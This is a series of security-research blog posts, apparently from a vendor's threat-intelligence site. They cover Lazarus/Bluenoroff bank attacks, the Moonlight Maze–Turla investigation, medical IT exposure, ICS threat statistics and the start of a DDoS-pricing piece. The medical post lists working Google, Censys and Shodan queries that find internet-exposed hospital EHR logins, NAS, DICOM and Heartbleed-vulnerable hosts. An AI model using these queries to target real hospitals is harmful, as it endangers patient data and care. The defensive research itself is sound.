One of the most interesting discoveries about Lazarus/Bluenoroff came from one of our research partners who completed a forensic analysis of a C2 server in Europe used by the group. Based on the forensic analysis report, the attacker connected to the server via Terminal Services and manually installed an Apache Tomcat server using a local browser, configured it with Java Server Pages and uploaded the JSP script for C2. Once the server was ready, the attacker started testing it. First with a browser, then by running test instances of their backdoor. The operator used multiple IPs: from France to Korea, connecting via proxies and VPN servers. However, one short connection was made from a very unusual IP range, which originates in North Korea.

In addition, the operator installed an off-the-shelf cryptocurrency mining software that should generate Monero cryptocoins. The software so intensely consumed system resources that the system became unresponsive and froze. This could be the reason why it was not properly cleaned, and the server logs were preserved.

This is the first time we have seen a direct link between Bluenoroff and North Korea. Their activity spans from backdoors to watering hole attacks, and attacks on SWIFT servers in banks of South East Asia and Bangladesh Central Bank. Now, is it North Korea behind all the Bluenoroff attacks after all? As researchers, we prefer to provide facts rather than speculations. Still, seeing IP in the C2 log, does make North Korea a key part of the Lazarus Bluenoroff equation.


Lazarus is not just another APT actor. The scale of the Lazarus operations is shocking. It has been on a spike since 2011 and activities didn’t disappear after Novetta published the results of its Operation Blockbuster research, in which we also participated. All those hundreds of samples that were collected give the impression that Lazarus is operating a factory of malware, which produces new samples via multiple independent conveyors.

We have seen them using various code obfuscation techniques, rewriting their own algorithms, applying commercial software protectors, and using their own and underground packers. Lazarus knows the value of quality code, which is why we normally see rudimentary backdoors being pushed during the first stage of infection. Burning those doesn’t impact the group too much. However, if the first stage backdoor reports an interesting infection they start deploying more advanced code, carefully protecting it from accidental detection on disk. The code is wrapped into a DLL loader or stored in an encrypted container, or maybe hidden in a binary encrypted registry value. It usually comes with an installer that only attackers can use, because they password protect it. It guarantees that automated systems – be it a public sandbox or a researcher’s environment – will never see the real payload.

Most of the tools are designed to be disposable material that will be replaced with a new generation as soon as they are burnt. And then there will be newer, and newer, and newer versions. Lazarus avoids reusing the same tools, same code, and the same algorithms. “Keep morphing!” seems to be their internal motto. Those rare cases when they are caught with same tools are operational mistakes, because the group seems to be so large that one part doesn’t always know what the other is doing.

This level of sophistication is something that is not generally found in the cybercriminal world. It’s something that requires strict organisation and control at all stages of operation. That’s why we think that Lazarus is not just another APT actor.

Of course such processes require a lot of money to keep running, which is why the appearance of the Bluenoroff subgroup within Lazarus was logical.

Bluenoroff, being a subgroup of Lazarus, is focusing on financial attacks only. This subgroup has reverse engineering skills because they spend time tearing apart legitimate software, and implementing patches for SWIFT Alliance software, in attempts to find ways to steal big money. Their malware is different and they aren’t exactly soldiers that hit and run. Instead, they prefer to make an execution trace to reconstruct and quickly debug the problem. They are field engineers that come when the ground is already cleared after conquering new lands.

One of Bluenoroff’s favorite strategies is to silently integrate into running processes without breaking them. From the code we’ve seen, it looks as if they are not exactly looking for a hit and run solution when it comes to money theft. Their solutions are aimed at invisible theft without leaving a trace. Of course, attempts to move around millions of USD can hardly remain unnoticed, but we believe that their malware might be secretly deployed now in many other places and it isn’t triggering any serious alarms because it’s much more quiet.

We would like to note, that in all of the observed attacks against banks that we have analyzed, SWIFT software solutions running on banks’ servers haven’t demonstrated or exposed any specific vulnerability. The attacks were focused on banking infrastructure and staff, exploiting vulnerabilities in commonly used software or websites, bruteforcing passwords, using keyloggers and elevating privileges. However, the way banks use servers with SWIFT software installed requires personnel responsible for the administration and operation. Sooner or later, the attackers find these personnel, gain the necessary privileges, and access the server connected to the SWIFT messaging platform. With administrative access to the platform they can manipulate software running on the system as they wish. There is not much that can stop them, because from a technical perspective, their activities may not differ from what an authorized and qualified engineer would do: starting and stopping services, patching software, modifying the database. Therefore, in all the breaches we have analyzed, SWIFT, as an organization has not been at direct fault. More than that, we have witnessed SWIFT trying to protect its customers by implementing the detection of database and software integrity issues. We believe that this is a step in the right direction and these activities should be extended with full support. Complicating the patches of integrity checks further may create a serious threat to the success of future operations run by Lazarus/Bluenoroff against banks worldwide.

To date, the Lazarus/Bluenoroff group has been one of the most successful in launching large scale operations against the financial industry. We believe that they will remain one of the biggest threats to the banking sector, finance and trading companies, as well as casinos for the next few years. We would like to note that none of the financial institutions we helped with incident response and investigation reported any financial loss.

As usual, defense against attacks such as those from Lazarus/Bluenoroff should include a multi-layered approach. Kaspersky products include special mitigation strategies against this group, as well as the many other APT groups we track. If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles:

We will continue tracking the Lazarus/Bluenoroff actor and share new findings with our intel report subscribers, as well as with the general public. If you would like to be the first to hear our news, we suggest you subscribe to our intel reports.

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Penquin’s Moonlit Maze

Mon, 04/03/2017 - 11:36

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Back to the Future – SAS 2016

As Thomas Rid left the SAS 2016 stage, he left us with a claim that turned the heads of the elite researchers who filled the detective-themed Tenerife conference hall. His investigation had turned up multiple sources involved in the original investigation into the historic Moonlight Maze cyberespionage campaign who claimed that the threat actor had evolved into the modern day Turla. What would this all mean?

The Titans of Old

Moonlight Maze is the stuff of cyberespionage legend. In 1996, in the infancy of the Internet, someone was rummaging through military, research, and university networks primarily in the United States, stealing sensitive information on a massive scale. Victims included the Pentagon, NASA, and the Department of Energy, to name a very limited few. The scale of the theft was literally monumental, as investigators claimed that a printout of the stolen materials would stand three times taller than the Washington Monument.

To say that this historic threat actor is directly related to the modern day Turla would elevate an already formidable modern day attacker to another league altogether. Turla is a prolific Russian-speaking group known for its covert exfiltration tactics such as the use of hijacked satellite connections, waterholing of government websites, covert channel backdoors, rootkits, and deception tactics. Its presumed origins track back to the famous Agent.BTZ, a campaign to spread through military networks through the use of USB keys that took formidable cooperation to purge (in the form of an interagency operation codenamed Buckshot Yankee in 2008). Though mitigating the threat got the most attention at the time, further research down the line saw this toolkit connecting directly to the modern Turla.

Further confirmation came through our own Kurt Baumgartner’s research for Virus Bulletin 2014 when he discovered Agent.BTZ samples that contacted a hijacked satellite IP jumping point, the same that was used by Turla later on. This advanced exfiltration technique is classic Turla and cemented the belief that the Agent.BTZ actor and Turla were one and the same. This would place Turla back as early as 2006-2007. But that’s still a decade ahead of the Moonlight Maze attack.

By 2016 the Internet was over-crowded with well-resourced cyberespionage crews. But twenty years ago there were few players in this game. Few paid attention to cyberespionage. In retrospect, we know that the Equation Group was probably active at this time. A command-and-control registration places Equation in the mid-1990s. That makes Equation the longest running cyberespionage group/toolkit in history. To then claim that Turla, in one form or another, was active for nearly as long, places them in a greater league than their pre-historic counterpart in pioneering state-sponsored cyberespionage.

A Working Hypothesis

By the time of the SAS 2016 presentation, we had already discussed at length how one might go about proving this link. The revelation that the Moonlight Maze attacks were dependent on a Solaris/*NIX toolkit and not a Windows one as is the case with most of Turla, actually revived our hopes. We would not have to look for older Windows samples where so far there were none, but could instead focus on another discovery. In 2014, Kaspersky announced the discovery of Penquin Turla, a Linux backdoor leveraged by Turla in specific attacks. We turned our attention once again to the rare Penquin samples and noticed something interesting: the code was compiled for the Linux Kernel versions 2.2.0 and 2.2.5, released in 1999. Moreover, the statically linked binaries libpcap and OpenSSL corresponded to versions released in the early 2000s. Finally, despite the original assessment incorrectly surmising that Penquin Turla was based on cd00r (an open-source backdoor by fx), it was actually based on LOKI2, another open-source backdoor for covert exfiltration written by Alhambra and daemon9 and released in Phrack in the late 1990s. This all added up to an extremely unusual set of circumstances for malware that was leveraged in attacks in from 2011-2016, with the latest Penquin Sample discovered just a month ago being submitted from a system in Germany.

Kurt Baumgartner’s prescient observation upon the discovery of the first Penquin Turla samples

Our working hypothesis became this: “The Turla developers decided to dust down old code and recompile it for current Windows victims in the hope of getting a stealthier beachhead on systems that are less likely to be monitored.” Were that to be the case, Penquin Turla could be the modern link that tied Turla to Moonlight Maze. But in order to prove our hypothesis and this historic evolution, we’d need a glimpse at the original artefacts, something we had no access to.

The Cupboard Samples

Our last hope was that someone somewhere had kept a set of backups collecting dust in a cupboard that they might be willing to share. Thomas took to the road to follow up his sources and eventually stumbled upon something remarkable. The Moonlight Maze operators were early adopters of a certain degree of operational security, using a series of hacked servers as relays to mask their original location. During the later stages of their campaign, they hacked a Solaris box in the U.K. to use as a relay. Unbeknown to them, the system administrator—in cooperation with the Metropolitan Police in London and the FBI—turned the server against the malicious operators. The machine known as ‘HRTest’ would proceed to log everything the attackers did keystroke-by-keystroke and save each and every binary and archive that transited through it. This was a huge win for the original investigators and provided something close to a six-month window of visibility before the attackers ditched this relay site (curiously, as a result of the campaign’s first publicity in early March 1999). Finding these samples was hard and fortuitous—due to a redaction error in an FBI FOIA release, we were able to ultimately track down David Hedges after about a year of sleuthing. “I hear you’re looking for HRTest,” David said when he finally called Thomas for the first time. Then, the now-retired administrator kicked a machine under his desk, chuckling as he said “well it’s sitting right here, and it’s still working.”

Thomas Rid, David Hedges, Daniel Moore, and Juan Andres Guerrero-Saade at King’s College London

Paydirt but not the Motherlode

What we had in our hands allowed us to recreate a portion of the constellation of attacks that constitutes Moonlight Maze. The samples and logs became our obsession for months. While Juan Andres and Costin at GReAT reversed the binaries (most compiled in SPARC for Solaris and MIPS for IRIX, ancient assembly languages), Daniel Moore went so far as to create an entire UI to parse and load the logs onto, so as to be able to visualize the extent of the networks and nodes under attack. We set out to profile our attackers and understand their methods. Among these, some salient features emerged:

Moore’s Rapyd Graph Data Analyzer tracking the victims of Moonlight Maze linked to HRTest

  1. The attackers were prolific Unix users. They used their skills to script their attack phases, which allowed a sort of old school automation. Rather than have the malware communicate to command-and-control servers and carry out functions and exfiltration of their own accord, the attackers would manually log in to victim nodes and leverage scripts and tasking files (usually located in the /var/tmp/ directory) to instruct all of these nodes on what they should do, what information to collect, and finally on where to send it. This allowed them to orchestrate large swaths of infected machines despite being an ‘operator-at-keyboard’ style of attack.
  1. The operators were learning as they went. Our analysis of the binaries shows a trial and error approach to malware development. Many binaries were simply open-source exploits leveraged as needed. Others were open-source backdoors and sniffers. However, despite not having exact compilation timestamps (as would happen in Windows executables), it’s possible to trace a binary evolution of sorts. The devs would test out new capabilities, then recompile binaries to fix issues and expand functionality as needed. This allowed us to graph a sort of binary tree of development to see how the attacks functionalities developed throughout this campaign.
  1. Despite their early interest in OpSec, and use of tools specifically designed for this effect, the operators made a huge mistake. It was their standard behavior to use infected machines to look for further victims on the same network or to relay onto other networks altogether. In more than a dozen cases, the attackers had infected a machine with a sniffer that collected any activity on the victim machine and then proceeded to use these machines to connect to other victims. That meant that the attackers actually created near complete logs of everything they themselves did on these systems—and once they did their routine exfiltration, those self-logs were saved on the HRTest node for posterity. The attackers created their own digital footprint for perpetuity.
So what’s the verdict?

A complete analysis of the attack artefacts is provided in the whitepaper, for those interested in a look under the hood of a portion of the Moonlight Maze attacks. For those who would like to jump straight to the conclusion: our parallel investigation into the connection between Moonlight Maze and Turla yielded a more nuanced answer predicated upon the limitations in our visibility.

An objective view of the investigation would have to admit that a conclusion is simply premature. The unprecedented public visibility into the Moonlight Maze attack provided by David Hedges is fascinating, but far from complete. It spans a window between 1998-1999 as well as samples apparently compiled as far back as late 1996. On the other hand, the Penquin Turla codebase appears to have been primarily developed from 1999-2004 before being leveraged in more modern attacks. What we are left with is a circumstantial argument that takes into account the binary evolution witnessed from 1998-1999 as well as the functionality and tools leveraged at that time, both of which point us to a development trend that could lead directly to what is now known as Penquin Turla. This includes the use of tasking files, LOKI2 for covert channel communications, and promiscuous sniffers – all of which made it into the modern Penquin Turla variants.

The next step in our ongoing parallel investigation would have to focus on a little known operation codenamed ‘Storm Cloud’. This codename represents the evolved toolkit leveraged by the same Moonlight Maze operators once the initial intrusions became public in 1999. In 2003, the story of Storm Cloud leaked with little fanfare, but a few prescient details led us to believe a more definitive answer may be found in this intrusion set:

Storm Cloud reference in a 2003 Wall Street Journal Article mentions further use of LOKI2

Just as the SAS 2016 talk enabled us to find David and his time capsule of Moonlight Maze artefacts, we hope this glimpse into our ongoing research will bring another dedicated sysadmin out of the woodwork who may still have access to Storm Cloud artefacts, allowing us to settle this question once and for all. Beyond the historical value of this understanding, it would afford greater perspective into a tool being leveraged in cyberespionage attacks to this day.

The epic Moonlight Maze hunt continues…

If you have information or artefacts you’d like to share with the researchers, please contact penquin[at]

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Download YARA rules

The Mistakes of Smart Medicine

Thu, 03/30/2017 - 05:31

As numerous studies have shown, smart houses, smart cars, and smart cities are undeniably beneficial to people in everyday life, but quite often can become a threat to their safety. It is not only a matter of personal data leakage. Just imagine that, for example, a smart refrigerator, affected by a third party at one point or another, would begin identifying expired products as fresh. There is yet another more dismal scenario: the system of a smart car turns the vehicle to the right at high speed, catching the driver unaware…

However, both existing and predictable threats that emerge from home IoT devices are only part of the problem related to the infrastructure around us becoming “smarter”. A technological boom in medicine both encouraged medical institutions to use exclusively information systems in processing data and led to the emergence of new types of technological equipment and personal devices that can be used to interact with traditional systems and networks. This means that the threats that are relevant for them can also be relevant for medical systems.

Entry Points for Accessing Valuable Data

For the medical industry, the main attack vector is related to personal data and information on the health condition of patients. The first step in evaluating the security level for data is identifying entry points within the infrastructure of medical institutions where healthcare data can be collected, stored, and/or taken advantage of by an evildoer.

Possible entry points can be classified as follows:

  • information systems on the computer network of a medical institution (servers, workstations, admin panels for medical equipment, etc.) that access the Internet;
  • medical equipment that is connected to an enterprise network;
  • medical equipment that is not a network node but connects to a workstation (for example, via USB);
  • portable devices of patients (advanced fitness trackers, pacemakers and cardiac monitors, insulin pumps, etc.) and mobile devices that can track health indicators (mobile smartphones and smart watches);
  • other wireless information systems (Wi-Fi, Bluetooth, or RF), which can be mobile ECG devices, pulse oximeters, event monitors for tracking the medical condition of high-risk patients, and so on.

For the last three classes mentioned above, a detailed first-hand analysis of specific models related to these classes is required. It is for exactly this reason that those devices deserve an article of their own. For now, we will focus on devices and their components that do not require physical access and are frequently accessible from the Internet.

Portable Devices May Port Medical Histories

We’ve already written the following about the security of portable devices in March of 2015: “Just imagine, if a fitness tracker with a heart-rate monitor is hacked, then any shop owner will be able to track the heart rate of buyers as they look at discounts in the shop. The influence of advertisements on people can be learned in the same manner. Moreover, a hacked fitness tracker with a heart-rate monitor can be used as a lie detector.”

Owing to the increasing accuracy of sensors, gadgets that collect data on the health condition of their owners can potentially be used in serious ambulatory care to assess a patient’s health. However, the level of security for these gadgets has not been developing as fast as their capabilities.

Tracking vital signs with the help of mobile devices may become an integral part of ambulatory care in the nearest future

Information that is collected by tracking vital signs can be used by both the owner of the device and the vendor of the infrastructure that the tracking app operates on. For users, the heart-rate parameter can signify that a certain activity should be decreased, specific medicines should be taken, etc., while vendors can send collected data to medical companies that can use it to assess the overall health of the client.

Thus, the main advantage of data collected by a gadget is not the depth of its analysis (any medical examination will yield more accurate results than readings from a fitness tracker) but the ability to evaluate changes in a patient’s health condition dynamically. Scenarios for using the information are limited by the imagination and enterprise of the owner, as well as by laws related to personal data.

If we look at the same piece of information from the perspective of a cybercriminal, then an owner of such a device will have not the most favorable outlook – analysis of certain parameters (for example, heart rate, sleep quality, or average ADL score) allows a criminal to gain an overview of a victim’s health. Any additional information may be provided by a gadget that is connected to the mobile device and is capable, for instance, of measuring the blood pressure or blood sugar levels of its user. After making conclusions about the ailments of a victim, an evildoer can provoke their aggravation.

Attacks to obtain health data can be divided into three basic types: those that violate data privacy, those that compromise data integrity, and those that attack data availability. Main vectors can be defined for each of those.

Types of attack that violate the privacy of medical data:

  • man-in-the-middle attacks on a sensor channel between the sensor and the service that stores the sensor’s data;
  • unauthorized access to local and remote data storage.

Types of attacks on data integrity:

  • unauthorized access to data storage with possible data substitution;
  • man-in-the-middle spoofing attacks on channels in order to substitute transmitted data;
  • modification (substitution) of data (spoofing attacks) and their transmission to consumers (as a service that stores data or an app).

Attacks on availability:

  • ransomware attacks (encryption/deletion of user data).

Entry points for malicious code that commits theft or substitutes data on a mobile device depend on a specific combination of device and software.

Online Medical Data

Yet, I would like to review another entry point in detail – information systems on a medical institution’s network that are accessible from the Internet.

Medical institutions utilize automated healthcare data storage solutions, which store miscellaneous information about patients (diagnosis results, information about prescribed drugs, medical histories, etc.). The infrastructure of such a system may include various hardware and software components, which can be merged into data storage networks and can be accessible from the Internet in one form or another.

Regarding solutions for storage of healthcare data, several software packages, which can be exploited as entry points into medical infrastructure, can be given as examples.

  • Hospital information systems (HISs) are software packages that control medical information coming from various sources, including the systems mentioned below.
  • Electronic Health Records (EHR) systems are dedicated software that enable storage of structured patient data and documentation of patient medical history.
  • Network-attached storage (NAS) refers to dedicated network storage devices, which can be both specialized devices for storing healthcare data or enterprise devices employed in the medical-institution
  • DICOM-complaint (Digital Imaging and Communications in Medicine) devices and PACS (picture archiving and communication system) servers are medical information systems based on the DICOM standard and include the following components:
    • a DICOM client, which is a medical device that is capable of transmitting data to a DICOM server;
    • a DICOM server, which is a hardware and software package that provides for the receipt and storage of data from clients (in particular, these devices can be PACS servers);
    • a DICOM diagnostic workstation and DICOM printers, both of which are hardware and software packages that are responsible for processing, visualizing, and printing medical images.

A key feature of the above-mentioned systems is a web interface (a web app) that is used to control them over the Internet. A web interface may have vulnerabilities that can be exploited by an evildoer, who can gain access to valuable information and processes. It is worth reviewing these systems in detail and verifying whether they are accessible from the Internet, i.e. if they are a potential entry point for evildoers.

Electronic Health Records (EHR)

In order to evaluate the number of apps that are available from the outside (from the Internet) and can work with EHR, a list of software employed in these tasks should be created and then a dork list should be organized. Dorks are special search-engine queries that are aimed at finding web components of required software among all of the resources indexed by a search engine.

Here is an example of a dork query that uses Google to search for the login form of EHR software components:

intitle:”<vendor_name> Login” & inurl:<vendor name>

The example of a discovered web component (a login form) of software that is intended to work with EHR

It should be noted that some of the resources found in the search results turned out to be traps for evildoers (honeypots). This fact alone indicates that analysts are seeking to track threats related to medical infrastructure. To check if an identified resource is a honeypot, an IP address should be submitted to a special service, HoneyScore, which, by scanning a number of the resource’s attributes (for example, the hosting provider), reaches a verdict on whether or not the resource is a honeypot. Nevertheless, a significant part of the discovered resources is represented by actual systems.

126 discovered resources that meet the search criteria

Each of the discovered web resources is a potential entry point that can be exploited by an evildoer to access the infrastructure. For example, many discovered systems lack protection against an exhaustive password search, which means that a criminal can use brute-force attacks. Then, by using a hacked account, the evildoer can gain privileged access to the system through the interface or find or exploit online vulnerabilities in order to access the system in the future.

An example of a discovered web interface for logging into an EHR system

Hospital Information Systems (HISs)

A “hospital information system” is quite a vast notion that includes a set of methods and technologies for processing medical information. In our case, we are interested only in the HIS components that have a web interface for controlling and visualizing medical information.

Let’s consider the software of OpenEMR as an example. This software is used in medical institutions as a medical-data management solution, and it is certified by the Office of the National Coordinator for Health Information Technology (ONC). Some of its components are written in the PHP programming language, which means that a potential entry point for an evildoer can be a web server that maintains these OpenEMR components.

The next Google dork query returned 106 search results that meet the following criterion:

inurl:”/interface/login/login_frame.php” intitle:”Login” intext:”Username:”

After a quick analysis of the search results, it became obvious that components of the majority of the discovered OpenEMR systems have vulnerabilities, including some critical ones. This means that these vulnerabilities open up the OpenEMR database to being compromised. This comes with the fact that exploits for the discovered vulnerabilities are publicly available.

An example of a vulnerable HIS that was openly exposed

For example, analyzing different software versions revealed that information had been published on the vulnerabilities for the vast majority of software installed on the hosts.

OpenEMR version Number of hosts (%) Availability of public exploits 4.2.0 31,4 Yes 4.1.2 14,3 Yes 4.1.0 11,4 Yes 4.2.1 5,7 No 4.0.0 5,7 Yes 4.1.1 2,8 Yes 4.3.1-dev 2,8 No 2.8.3 2,8 Yes 3.2.0 2,8 Yes Proprietary (modified) version 8,5 – Unknown version 11,4 – Network Attached Storage (NAS)

There are at least two types of NAS servers that have been used by medical institutions: dedicated “medical” NAS servers and common ones. While the former have strict security requirements for the data stored on them (for example, compliance with the Health Insurance Portability and Accountability Act), the security of the latter rests on the conscience of their developers and the medical institutions that use this type of NAS in their infrastructure. As a result, non-medical NAS may be left working without any updates for years and thus gather a great number of known vulnerabilities.

A list of dorks should be created to select NAS devices located in medical institutions out of all of the other devices indexed by search engines.

The next query is for the Censys search engine, which specializes in indexing devices with IP addresses and finds all of the devices (workstations, servers, routers, NAS servers, etc.) that belong to companies whose names contain words that directly or indirectly define these companies as medical institutions (“healthcare”, “clinic”, “hospital”, and “medical”):

autonomous_system.organization: (hospital or clinic or medical or healthcare)

The Censys search engine found approximately 21,278 hosts that are related to medical institutions

The Censys report, which is shown below, lists the top 10 countries where these hosts are located.

Country Hosts United States 18 926 Canada 1113 Iran 441 Saudi Arabia 379 Republic of Korea 135 Australia 81 Thailand 33 United Kingdom 32 Puerto Rico 28 Vietnam 27

Afterward, only those hosts that are FTP servers can be taken out from the search results that contain the hosts. In order to do this, the query in the search engine should be more specific and, for example, only the hosts that contain an open FTP port and whose banners contain the “FTP” line should be searched for (this is the information that a server sends to a client during attempts to connect to its port):

(tags: ftp) and autonomous_system.organization: (health or clinic or medical or healthcare)

The search results displayed 1,094 hosts with operational FTP servers, which presumably belong to medical institutions.

Additionally, a list of vendor-specific NAS devices can be obtained from the narrowed-down search results. For this, the typical characteristics of a device must be known. These may be included in responses from services that are active on the device (for example, an FTP-server response to a connection attempt may contain the name of the device and its firmware version). The next query allows for selection of only those hosts that contain the “NAS” line in their banner (generally, several QNAP Systems models have this property) from all found hosts:

(metadata.description: nas) and autonomous_system.organization: (health or clinic or medical or healthcare)

The discovered QNAP Systems NAS servers that belong to medical organizations

A ProFTPd web-server release that has vulnerabilities was installed on each of the found NAS. For this release, there is also publicly available and easily accessible information about its exploits.

PACS Servers and DICOM Devices

The most common type of devices that utilize the DICOM format are PACS servers that print patient images that have been received from other DICOM devices.

It is possible to enter the following primitive query in the Shodan search engine to start searching for DICOM devices:

DICOM port:104

Accordingly, the search results will display hosts (mostly workstations and servers) that are used in medical institutions for storing and processing patient DICOM images.

The list of hosts that are used to process/store DICOM images

Also, it might be worth searching for diagnostic DICOM workstations, which are dedicated PACS systems used for processing, diagnosing, and visualizing data. As an example, the following query for the Censys search engine can be used:

pacs and autonomous_system.organization: (hospital or clinic or medical or healthcare)

Analysis of the search results may reveal dedicated software for a diagnostic workstation.

The login forms of diagnostic workstations used for visualization of patient data

Aside from that, there are also admin panels used to access DICOM servers in the search results.

A login form for accessing a DICOM server

Non-medical Systems with “Pathologies”

The systems described above handle valuable medical data. Therefore, security requirements for those systems must be high. However, let’s not forget that besides potential entry points, there are dozens of other points an evildoer can use that are not directly related to medical systems but are located in the infrastructure along with valuable data.

Here are several examples of non-medical systems that can be used as a potential entry point into a computer network with the goal of subsequently moving on to resources where medical information is stored:

  • any servers (web servers, FTP servers, e-mail servers, etc.) that are connected to the network of an institution and are accessible from the Internet;
  • a medical institution’s public Wi-Fi hotspots;
  • office printers;
  • video surveillance systems;
  • SCADA controllers;
  • automated systems for controlling mechanical and electrical components of a building (building management systems, BMS).

Each of the mentioned systems may have a vulnerability that can be taken advantage of by an evildoer in order to gain access to medical infrastructure.

For example, the popularity of the Heartbleed vulnerability can be evaluated. This requires entering the following query into the Censys search engine:

autonomous_system.organization: (hospital or clinic or medical or healthcare) and 443.https.heartbleed.heartbleed_vulnerable: 1

The search engine showed 66 hosts that met the criteria and were potentially vulnerable to Heartbleed. Additionally, this was after the existence of the vulnerability, and its dangers had been given wide coverage by the mass media. Generally speaking, when referring to Heartbleed, it should be noted that the problem is global in nature. According to a report by the founder of Shodan, approximately 200,000 websites still remain vulnerable.

Stay Healthy

In order keep evildoers from stealing medical data from institutions, we, along with taking essential security measures typical for enterprise infrastructure, recommend doing the following:

  • exclude from external access all of the information systems that process medical data or any other patient-related data;
  • all of the medical equipment that connects to a workstation (or is a network node) should be isolated in a dedicated segment, while the operational parameters of the equipment can be modified by using the workstation (or remotely);
  • any online information systems should be isolated in a “demilitarized” zone or completely excluded from an enterprise network;
  • continuously monitor medical-system software for updates and update software regularly;
  • change default passwords that are set up for the login forms of medical systems and delete unwanted accounts from the database (for example, test accounts);
  • create strong passwords for all accounts.

Threat Landscape for Industrial Automation Systems, H2 2016

Tue, 03/28/2017 - 05:00

The Kaspersky Lab Industrial Control Systems Cyber Emergency Response Team (Kaspersky Lab ICS CERT) is starting a series of regular publications about our research devoted to the threat landscape for industrial organizations.

All statistical data used in the report was obtained using Kaspersky Security Network (KSN), a distributed antivirus network. Data was received from those KSN users who consented to have their data collected anonymously.

The research carried out in the second half of 2016 by Kaspersky Lab ICS CERT experts clearly demonstrates a number of trends in the evolution of industrial enterprise security.

  1. On average, in the second half of 2016 Kaspersky Lab products across the globe blocked attempted attacks on 39.2% of protected computers that Kaspersky Lab ICS CERT classifies as being part of industrial enterprise technology infrastructure.

    This group includes computers that run Windows and perform one or more of the following functions:

    • Supervisory Control and Data Acquisition (SCADA) servers,
    • Data storage servers (Historian),
    • Data gateways (OPC),
    • Stationary engineer and operator workstations,
    • Mobile engineer and operator workstations,
    • Human Machine Interface (HMI).

    The group also includes computers of external 3-d party contractors, SCADA vendors and system integrators as well as internal SCADA administrators.

  2. Every month, an average of one industrial computer in five (20.1%) is attacked by malware. We have seen stable growth in the percentage of industrial computers attacked since the beginning of our observations, highlighting the importance of cybersecurity issues.

    Percentage of industrial computers attacked by month (second half of 2016)

  3. Isolation of industrial networks can no longer be considered an effective protective measure. The proportion of malware infection attempts involving portable media, infection of backup copies, use of sophisticated schemes for transferring data from isolated networks in complex attacks – all of this demonstrates that risks cannot be avoided by simply disconnecting a system from the Internet.

    Sources of threats blocked on industrial computers (second half of 2016)

  4. Remarkably, there is very little difference between the rankings of malware detected on industrial computers and those of malware detected on corporate computers. We believe that this demonstrates the absence of significant differences between computers on corporate networks and those on industrial networks in terms of the risk of chance infections. However, it is obvious that even a chance infection on an industrial network can lead to dangerous consequences.
  5. Distribution of industrial computers attacked by classes of malware used in attacks (second half of 2016)

  6. According to our data, targeted attacks on companies in different industrial sectors are increasingly common. These are organized attacks that can target one enterprise, several enterprises, companies in one industrial sector or a broad range of industrial enterprises.

    The Kaspersky Lab ICS CERT detected a series of phishing attacks which began no later than June 2016 and which are still active. The attacks target primarily industrial companies – metallurgical, electric power, construction, engineering and others. We estimate the number of companies attacked at over 500 in more than 50 countries around the world.

    None of the malicious programs used in the attack – trojan spies and backdoors from different families, such as ZeuS, Pony/FareIT, Luminosity RAT, NetWire RAT, HawkEye, and ISR Stealer – are unique to this malicious campaign. They are all very popular among cybercriminals. However, these programs are packed with unique modifications of VB and MSIL packers that are used only in this attack. Our experience of investigating targeted attacks shows that cyberespionage is often used to prepare subsequent attack stages.

  7. One quarter of all targeted attacks uncovered by Kaspersky Lab in 2016 targeted, among others, different industries – machine building, energy, chemical, transport and others.

  8. In 2016, Kaspersky Lab evaluated the current state of IT security components in the industrial control systems of different vendors. As a result of this research, 75 vulnerabilities were identified in ICS components. 58 of them were marked as maximum critical vulnerabilities (CVSS v3.0 severity score 7.0 or higher).

  9. Distribution of vulnerabilities uncovered by Kaspersky Lab in 2016 according to the ways in which they can be used

    Of the 75 vulnerabilities identified by the middle of March 2017 by Kaspersky Lab, industrial software vendors closed 30.

    The approach of industrial software vendors to closing vulnerabilities and the situation with fixing known vulnerabilities at enterprises is by no means reassuring. The approach to addressing vulnerabilities as part of the software development cycle has not yet been sufficiently refined: vendors do not prioritize the closing of identified vulnerabilities based on their severity, they prefer to fix vulnerabilities in the next release of their product rather than releasing a fix or patch that is critical from an IT security viewpoint.

    Another issue is the installation of updates and security patches at enterprises. Based on our research and ICS IT security audits, we believe that for ICS owners, the process of installing critical updates is either too labor-intensive or not a high-priority task in the system’s overall lifecycle. As a result, at some enterprises critical updates of various industrial system components are not installed for years, making these enterprises vulnerable in the event of cyberattacks.

The industrial network is increasingly similar to the corporate network – both in terms of usage scenarios and in terms of technologies used. New technologies are being used that improve process transparency and efficiency at the enterprise level, as well as providing flexibility and fault tolerance of the functions performed at medium and lower industrial automation levels. The upshot of all this is that the cyber threat landscape for industrial systems is increasingly similar to the threat landscape for corporate networks. Consequently, we can expect not only the emergence of new threats specifically designed for industrial enterprises but also the evolution of existing, traditional IT threats, which involves their adaptation for attacks against industrial enterprises and physical world objects.

The emergence of large-scale malicious campaigns targeting industrial enterprises indicates that black hats see this area as promising. This is a serious challenge for the entire community of industrial automation system developers, owners and operators of such systems, and security vendors. We are still remarkably languid and slow-moving in most cases, which is fraught with dangers under the circumstances.

The full report is available on Kaspersky Lab ICS CERT website.

The cost of launching a DDoS attack

Thu, 03/23/2017 - 04:56

A distributed denial-of-service (DDoS) attack is one of the most popular tools in the cybercriminal arsenal. The motives behind such attacks can vary – from cyber-hooliganism to extortion. There have been cases where criminal groups have threatened their victims with a DDoS attack unless the latter paid 5 bitcoins (more than $5,000). Often, a DDoS attack is used to distract IT staff while another cybercrime such as data theft or malware injection is carried out.

Almost anyone can fall victim to a DDoS attack. They are relatively cheap and easy to organize, and can be highly effective if reliable protection is not in place. Based on analysis of the data obtained from open sources (for example, offers to organize DDoS attacks on Internet forums or in Tor), we managed to find out the current cost of a DDoS attack on the black market. We also established what exactly the cybercriminals behind DDoS attacks offer their customers.

DDoS as a service

Ordering a DDoS attack is usually done using a full-fledged web service, eliminating the need for direct contact between the organizer and the customer. The majority of offers that we came across left links to these resources rather than contact details. Customers can use them to make payments, get reports on work done or utilize additional services. In fact, the functionality of these web services looks similar to that offered by legal services.

Example of a web service for ordering DDoS attacks that looks more like the web page of an IT startup than a cybercriminal operation

These web services are fully functional web applications that allow registered customers to manage their balance and plan their DDoS attack budget. Some developers even offer bonus points for each attack conducted using their service. In other words, cybercriminals have their own loyalty and customer service programs.

DDoS service advertised on a Russian public forum offering attacks from $50 per day

Some of the services we identified contained information on the number of registered users, as well as data on the number of attacks carried out per day. Many of the web services offering DDoS attacks claimed to have tens of thousands of registered accounts. However, these figures may be inflated by the owners of services to make their resources look more popular.

Statistics provided by one service to demonstrate its popularity with DDoS customers (479270 implemented attacks)

Statistics provided by one service to demonstrate the popularity of DDoS attack scenarios

Information about the popularity of a DDoS service

Rates for DDoS

The special features emphasized in the adverts for DDoS services can give a particular service an advantage over its competitors and sway the customer’s choice:

